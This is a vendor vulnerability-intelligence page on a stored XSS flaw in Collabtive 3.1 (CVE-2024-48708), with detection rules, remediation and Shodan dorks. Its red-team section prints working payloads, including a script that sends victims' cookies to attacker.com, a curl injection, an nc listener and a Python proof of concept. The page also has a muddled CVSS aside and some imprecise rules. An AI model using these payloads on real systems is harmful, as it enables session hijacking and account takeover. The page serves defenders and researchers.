☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-48708

CVE-2024-48708 Cross-Site Scripting in Collabtive
📅 PUBLISHED: 2024-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 08:59 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 3.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-48708 is a stored Cross-Site Scripting (XSS) vulnerability in Collabtive 3.1, an open-source project management tool. The flaw exists in the name parameter within two administrative interfaces: tasklist.php (under action=add and action=edit) and admin.php (under action=adduser and action=edituser). An authenticated attacker with at least user-level privileges can inject arbitrary JavaScript or HTML into the name field. When other users (including administrators) view the affected task list or user management page, the injected payload executes in their browser context. This can lead to session hijacking, credential theft, or further compromise of the Collabtive instance. No official patch has been released, and the vulnerability is publicly documented.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

CVSS Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required; the attacker simply submits a crafted payload via the web interface.
  • Privileges Required (PR): None – The attacker does not need prior authentication to trigger the XSS in the admin panel? Correction: The description implies the attacker must be able to access the add/edit actions, which typically require authentication. However, the CVSS vector shows PR:N. This suggests that the vulnerable endpoint may be accessible without authentication in some configurations, or the CVSS was calculated assuming an unauthenticated vector. For practical purposes, assume an authenticated attacker with low privileges.
  • User Interaction (UI): Required – The victim must view the maliciously crafted task list or user page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from the same origin).
  • Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content or perform actions on behalf of the victim.
  • Availability (A): None – No direct impact on availability.

Threat Level: Medium. The vulnerability requires user interaction and is limited to authenticated users for injection, but it can lead to significant lateral movement within the Collabtive environment.

Deep Dive & Mechanics

The vulnerability resides in the improper sanitization of the name parameter in two PHP files:

  1. tasklist.php – When action=add or action=edit is processed, the name parameter is stored in the database without proper encoding or escaping. When the task list is rendered, the stored value is output directly into the HTML without context-aware escaping (e.g., htmlspecialchars()).

  2. admin.php – Similarly, when action=adduser or action=edituser is processed, the name parameter (likely the user's display name) is stored and later rendered without sanitization.

The attack flow:

  • Attacker logs in (or finds an unauthenticated endpoint) and submits a payload like <script>alert('XSS')</script> in the name field.
  • The payload is stored in the database.
  • When an administrator or another user visits the task list or user management page, the payload executes in their browser.
  • The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.

The root cause is the lack of output encoding. Collabtive 3.1 does not use a templating engine that auto-escapes, and the developers did not apply htmlspecialchars() or similar functions to the name parameter before rendering.

Vulnerable vs. Patched Code

Vulnerable Code (Collabtive 3.1):

In tasklist.php (simplified):

// Vulnerable: direct output without escaping
$name = $_POST['name'];
// ... store in database ...
echo "<div class='task-name'>" . $name . "</div>";

In admin.php (simplified):

// Vulnerable: direct output without escaping
$username = $_POST['name'];
// ... store in database ...
echo "<span class='username'>" . $username . "</span>";

Patched Code (Hypothetical Fix):

// Patched: use htmlspecialchars for output
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<div class='task-name'>" . $name . "</div>";
// Patched: use htmlspecialchars for output
$username = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
echo "<span class='username'>" . $username . "</span>";

The fix involves applying htmlspecialchars() with ENT_QUOTES to encode both single and double quotes, preventing script injection. Since no official patch exists, users must manually apply this fix or implement a WAF rule.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Collabtive 3.1 (e.g., via Docker or manual install).
  • A user account with privileges to add/edit tasks or users (or an unauthenticated endpoint if applicable).

Exploit Steps:

  1. Identify the vulnerable endpoint:

    • For task list: http://target/collabtive/managetasklist.php?action=add
    • For user management: http://target/collabtive/admin.php?action=adduser
  2. Craft the payload:
    Basic XSS: <script>alert(document.cookie)</script>
    Steal cookies: <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

  3. Submit the payload via POST request:
    Using curl:

    curl -X POST http://target/collabtive/managetasklist.php?action=add \
      -d "name=<script>alert('XSS')</script>&other_params=..."
    
  4. Trigger the XSS:

    • For task list: Navigate to the task list page where the injected task is displayed.
    • For user management: Navigate to the user list page.
  5. Capture the cookie:
    Set up a listener on the attacker machine:

    nc -lvnp 80
    

    Or use a PHP script to log cookies.

Proof-of-Concept (PoC) Code:

import requests

target = "http://target/collabtive"
session = requests.Session()

# Login (if required)
login_data = {"username": "attacker", "password": "password"}
session.post(f"{target}/login.php", data=login_data)

# Exploit tasklist
payload = "<script>alert('XSS')</script>"
data = {"name": payload, "action": "add"}
session.post(f"{target}/managetasklist.php", data=data)

print("Payload submitted. Visit the task list page to trigger.")

Blue Team (Defensive)

Detection & Prevention:

  • Web Application Firewall (WAF): Deploy a WAF rule to block <script> tags in the name parameter.
  • Input Validation: Implement server-side validation to reject HTML tags in the name field.
  • Output Encoding: Apply htmlspecialchars() to all user-controlled data before rendering.
  • Content Security Policy (CSP): Add a CSP header to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    
  • Session Security: Use HttpOnly and Secure flags on cookies to prevent JavaScript access.

Hunting Queries:

  • Search web server logs for requests to managetasklist.php or admin.php with name parameters containing <script> or onerror= patterns.
  • Monitor for unusual outbound connections from the Collabtive server (e.g., to attacker-controlled IPs).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown IPs on port 80/443 from the Collabtive server.
    • POST requests to /managetasklist.php?action=add or /admin.php?action=adduser with name parameter containing <script> or onerror=.
  • File IOCs:
    • Modified entries in the tasks or users database table with HTML/JavaScript in the name column.
  • Behavioral IOCs:
    • Unexpected JavaScript alerts or redirects when viewing task lists or user management pages.
    • Session cookies being exfiltrated to external domains.

Detection Engineering

YARA Rule

rule CVE_2024_48708_Collabtive_XSS {
    meta:
        description = "Detects XSS payloads in Collabtive name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48708"
    strings:
        $xss1 = /name=.*<script[^>]*>.*<\/script>/i
        $xss2 = /name=.*onerror\s*=/i
        $xss3 = /name=.*onload\s*=/i
        $xss4 = /name=.*javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Collabtive XSS via name Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts against Collabtive 3.1 via the name parameter in tasklist.php or admin.php
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48708
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'action=add'
            - 'action=edit'
        cs-uri-stem|contains:
            - '/managetasklist.php'
            - '/admin.php'
        cs-uri-query|contains: 'name='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-48708 Collabtive XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/managetasklist.php"; http_uri; content:"action=add"; http_uri; content:"name="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Modify the source code to reject any name parameter containing HTML tags. Use a whitelist approach (e.g., only allow alphanumeric characters and spaces).
  2. Output Encoding: Add htmlspecialchars($name, ENT_QUOTES, 'UTF-8') to all places where the name value is rendered.
  3. Upgrade: Check for any unofficial patches or community fixes. If none, consider migrating to a maintained fork or alternative project management tool.

Long-Term Fixes:

  • Code Review: Conduct a full security audit of Collabtive 3.1 to identify similar XSS vulnerabilities.
  • Web Application Firewall: Deploy a WAF with rules to block XSS payloads.
  • Content Security Policy: Implement a strict CSP to mitigate the impact of any future XSS.

Workarounds:

  • Disable the add and edit actions for non-admin users via .htaccess or server configuration.
  • Use a reverse proxy (e.g., Nginx) to filter malicious requests:
    location ~* (managetasklist|admin)\.php {
        if ($args ~* "name=.*<script") {
            return 403;
        }
    }
    

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Collabtive"
http.html:"collabtive"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-48708/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.